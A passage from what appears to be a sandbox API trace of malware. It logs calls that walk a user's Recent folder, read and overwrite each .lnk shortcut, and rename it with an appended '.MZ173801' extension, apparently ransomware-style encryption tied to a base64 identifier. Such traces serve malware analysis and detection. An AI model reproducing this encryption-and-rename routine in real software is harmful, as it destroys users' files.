HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J2iO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j2io.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.445] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x91d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x91d, lpOverlapped=0x0) returned 1 [0121.446] CloseHandle (hObject=0x288) returned 1 [0121.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J2iO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j2io.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J2iO.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j2io.lnk.mz173801")) returned 1 [0121.450] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfca9620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ae, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Jhr4VFCMaTe9.lnk", cAlternateFileName="JHR4VF~1.LNK")) returned 1 [0121.450] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.451] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jhr4VFCMaTe9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jhr4vfcmate9.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf134c40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfca9620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfca9620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9ae)) returned 1 [0121.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.453] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jhr4VFCMaTe9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jhr4vfcmate9.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.455] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.455] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.455] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9ae [0121.455] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.455] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9ae, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9ae, lpOverlapped=0x0) returned 1 [0121.456] CloseHandle (hObject=0x288) returned 1 [0121.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jhr4VFCMaTe9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jhr4vfcmate9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.457] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9ae, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9ae, lpOverlapped=0x0) returned 1 [0121.458] CloseHandle (hObject=0x288) returned 1 [0121.462] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jhr4VFCMaTe9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jhr4vfcmate9.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jhr4VFCMaTe9.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jhr4vfcmate9.lnk.mz173801")) returned 1 [0121.463] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee87380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee87380, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee87380, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="jjAVl.lnk", cAlternateFileName="")) returned 1 [0121.463] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.463] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.463] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjAVl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jjavl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee87380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee87380, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee87380, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1 [0121.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jjAVl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\jjavl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.467] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.467] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.467] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa00 [0121.467] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.467] ReadFile (in: hFile=0x288, 